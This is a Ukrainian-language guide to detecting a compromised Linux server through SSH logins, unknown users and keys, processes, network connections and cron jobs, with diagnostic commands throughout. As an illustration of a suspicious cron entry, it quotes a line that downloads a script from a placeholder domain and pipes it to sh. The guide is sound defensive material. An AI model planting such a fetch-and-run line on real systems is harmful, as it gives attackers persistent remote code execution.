Злом сервера не завжди виглядає очевидно. Іноді сайт продовжує працювати, SSH доступний, навантаження здається нормальним, але на сервері вже може бути шкідливий процес, невідомий користувач, прихований cron-запуск або вихідний трафік на підозрілі адреси.
У кібербезпеці такі ознаки називають indicators of compromise — слідами, які можуть вказувати на злом, зараження або несанкціонований доступ. Такі ознаки зазвичай шукають у логах, процесах, мережевих з’єднаннях і змінах у системі.
1. Підозрілі входи через SSH
Перше, що варто перевірити, — хто і коли входив на сервер. Частою ознакою злому є успішний вхід із невідомої IP-адреси, у незвичний час або під користувачем, який не мав би використовуватися.
Перевірити останні входи:
last
Перевірити невдалі спроби входу:
sudo lastb
Перевірити SSH-логи на Debian/Ubuntu:
sudo grep "Accepted" /var/log/auth.log
sudo grep "Failed password" /var/log/auth.log
Через journalctl:
sudo journalctl -u ssh --since "24 hours ago"
На що звернути увагу:
- успішний вхід із невідомої IP-адреси;
- вхід під root, якщо root login мав бути вимкнений;
- багато невдалих спроб входу;
- вхід у незвичний час;
- вхід користувача, якого ви не створювали.
Якщо ви бачите успішний вхід із невідомої IP-адреси, це вже серйозна причина вважати сервер потенційно зламаним.
2. Невідомі користувачі, SSH-ключі або sudo-доступ
Після отримання доступу зловмисник часто намагається закріпитися в системі: створити нового користувача, додати SSH-ключ, видати собі sudo-права або змінити існуючий акаунт.
Перевірити користувачів із shell-доступом:
awk -F: '$7 ~ /(bash|sh|zsh)$/ {print $1, $7}' /etc/passwd
Перевірити користувачів із sudo-доступом:
getent group sudo
Для AlmaLinux/Rocky Linux/CentOS:
getent group wheel
Знайти всі файли authorized_keys:
sudo find /home /root -name authorized_keys -type f -print
Перевірити вміст ключів:
sudo cat /root/.ssh/authorized_keys
sudo cat /home/USER/.ssh/authorized_keys
Підозрілі ознаки:
- з’явився невідомий користувач;
- у користувача з’явилися sudo-права;
- в authorized_keys додано невідомий SSH-ключ;
- у root з’явився ключ, якого раніше не було;
- змінилися права на .ssh або authorized_keys.
Важливо
Не видаляйте підозрілі дані одразу, якщо плануєте розслідування. Спочатку збережіть логи та знімки стану системи.
3. Невідомі процеси та високе навантаження
Якщо сервер почав сильно навантажувати CPU, RAM, диск або мережу без зрозумілої причини, це може бути ознакою шкідливої активності. Наприклад, на сервері міг з’явитися crypto miner, spam-скрипт, proxy, botnet-клієнт або скрипт для атак на інші системи.
Перевірити навантаження:
top (htop, atop)
Перевірити процеси:
ps aux --sort=-%cpu | head
ps aux --sort=-%mem | head
Перевірити systemd-сервіси:
systemctl --type=service --state=running
systemctl --failed
На що звернути увагу:
- процес із незрозумілою назвою;
- процес запущений із /tmp, /var/tmp, /dev/shm;
- сервіс, який ви не встановлювали;
- високе навантаження без зрозумілої причини;
- процес працює від імені www-data, nobody або невідомого користувача.
Приклади підозрілих шляхів:
/tmp/.x/
/var/tmp/.cache/
/dev/shm/.run/
Не кожен незнайомий процес означає злом, але невідомий процес із високим навантаженням і дивним шляхом запуску — серйозний сигнал.
4. Незвичні мережеві з’єднання та відкриті порти
Зламаний сервер часто починає підключатися до зовнішніх IP, надсилати спам, брати участь у DDoS, працювати як proxy або відкривати новий порт для віддаленого керування.
Перевірити listening-порти:
sudo ss -tulpn
Перевірити активні з’єднання:
sudo ss -tunap
Подивитися процеси, які використовують мережу:
sudo lsof -i -P -n
Що має насторожити:
- відкритий невідомий порт;
- сервіс слухає
0.0.0.0, хоча не має бути публічним; - є постійні з’єднання з невідомими IP;
- сервер активно підключається до багатьох зовнішніх адрес, особливо на порти 22, 25, 3390, 5900;
- з’явився невідомий proxy, tunnel або reverse shell.
NIST у керівництві з incident handling окремо виділяє аналіз даних і визначення правильної реакції на інцидент як важливу частину обробки інцидентів. На практиці мережеві з’єднання, логи та процеси — одні з перших джерел для такої перевірки.
5. Підозрілі cron-завдання, автозапуск і змінені файли
Зловмисники часто додають завдання в cron або systemd, щоб шкідливий скрипт запускався знову після перезавантаження або видалення процесу.
Перевірити cron поточного користувача:
crontab -l
Перевірити cron root:
sudo crontab -l
Перевірити системні cron-файли:
sudo ls -lah /etc/cron.d/
sudo ls -lah /etc/cron.hourly/
sudo ls -lah /etc/cron.daily/
Перевірити systemd-unit файли:
systemctl list-unit-files --type=service
Подивитися нещодавно змінені файли:
sudo find /etc /var/www /tmp /var/tmp /dev/shm -type f -mtime -3 2>/dev/null
Підозрілі ознаки:
- cron-завдання з curl або wget на невідомий URL;
- запуск скрипта з /tmp, /var/tmp або /dev/shm;
- новий systemd-сервіс із незрозумілою назвою;
- змінені файли сайту без вашої участі;
- невідомі PHP/JS-файли в директорії сайту.
Приклад підозрілого рядка:
* * * * * curl -fsSL http://unknown-domain.example/run.sh | sh
Що робити, якщо є ознаки злому
Якщо збігся один або кілька пунктів, краще вважати сервер потенційно зламаним.
Мінімальні дії:
- не видаляти одразу всі сліди;
- зберегти важливі логи;
- обмежити доступ до сервера;
- змінити паролі та SSH-ключі;
- перевірити сайти, бази даних і cron;
- зробити backup важливих даних;
при серйозному зломі — перевстановити сервер і відновити тільки чисті дані.
Важливо
Якщо сервер використовувався для платежів, персональних даних або клієнтських проєктів, краще провести повноцінне розслідування і не обмежуватися видаленням підозрілого процесу.
Підсумок
Це були 5 основних ознак злому сервера:
- Підозрілі SSH-входи
- Невідомі користувачі, ключі або sudo-доступ
- Невідомі процеси та високе навантаження
- Незвичні мережеві з’єднання та відкриті порти
- Підозрілі cron-завдання, автозапуск і змінені файли
Одна ознака не завжди доводить злом, але кілька збігів майже завжди потребують термінової перевірки. Краще діяти обережно: зберегти логи, обмежити доступ, перевірити систему і за потреби перенести проєкт на чистий сервер.